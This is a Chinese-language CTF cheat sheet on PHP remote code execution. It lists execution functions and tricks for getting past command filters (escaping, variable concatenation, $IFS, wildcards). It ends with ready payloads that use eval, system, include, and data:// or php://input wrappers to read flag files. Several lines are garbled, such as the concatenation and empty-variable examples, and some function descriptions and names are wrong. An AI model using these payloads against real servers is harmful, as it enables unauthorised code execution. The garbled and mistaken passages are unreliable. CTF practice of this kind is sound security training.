常见的RCE以及ByPass
一、RCE漏洞
远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
原理:服务器没有对执行命令的函数进行过滤,导致命令被执行。
二、常见的命令执行函数
PHP代码执行函数
eval() assert() preg_replace() create_function() call_user_func() file_get_contents():将整个文件读入一个字符串 readfile():读取文件并写入到输出缓冲 scandir():列出指定路径中的文件和目录 direname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名 getcwd():取得当前工作目录 chdir($directory):将 PHP 的当前目录改为 directory get_defined_vars():获取一个环境变量的值 phpversion():获取当前的PHP版本 chr():返回指定的字符 rand():产生一个随机整数 time():返回当前的 Unix 时间戳 localtime():取得本地时间 localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字 hex2bin():转换十六进制字符串为二进制字符串 ceil():进一法取整 sinh():双曲正弦 cosh():双曲余弦 tan():正切 floor():舍去法取整 sqrt():平方根 crypt():单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符 ord:返回字符串的第一个字符的 ASCII 码
命令执行函数
eval()、system()、shell_exec()、popen()、proc_popen()、passthru()、pcntl_exec()
常见的bypass
1.替换法
使用同意思字符串代替
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 sort:可以查看
2.进行转义
cat flag ->ca\t fl\ag cat flag -> ca"t flag cat flag -> ca't flag
3.进行拼接
a=fl;b=ag;catI F S IFSIFSa$b
4.空变量∗ 和 *和∗和@,x , x,x,{x}绕过
5.反引号绕过
过滤空格
<> (cat<>flag) %20(space) %09(tab) (cat%09flag.php) $IFS$9 ${IFS} $IFS (cat,flag)
过滤分隔符
; //分号 | //执行右边命令 || //执行前面命令 & //都执行
无回显利用 1、直接写个文件访问查看 2、直接进行对外访问接受 #白盒-CTF-RCE代码命令执行 29-通配符 system('tac fla*.php'); 30-取代函数&通配符&管道符 `cp fla*.ph* 2.txt`; echo shell_exec('tac fla*.ph*'); 31-参数逃逸 eval($_GET[1]);&1=system('tac flag.php'); 32~36-配合包含&伪协议 include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?> include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php 37~39-包含RCE&伪协议&通配符 data://text/plain,<?php system('tac fla*');?> php://input post:<?php system('tac flag.php');?>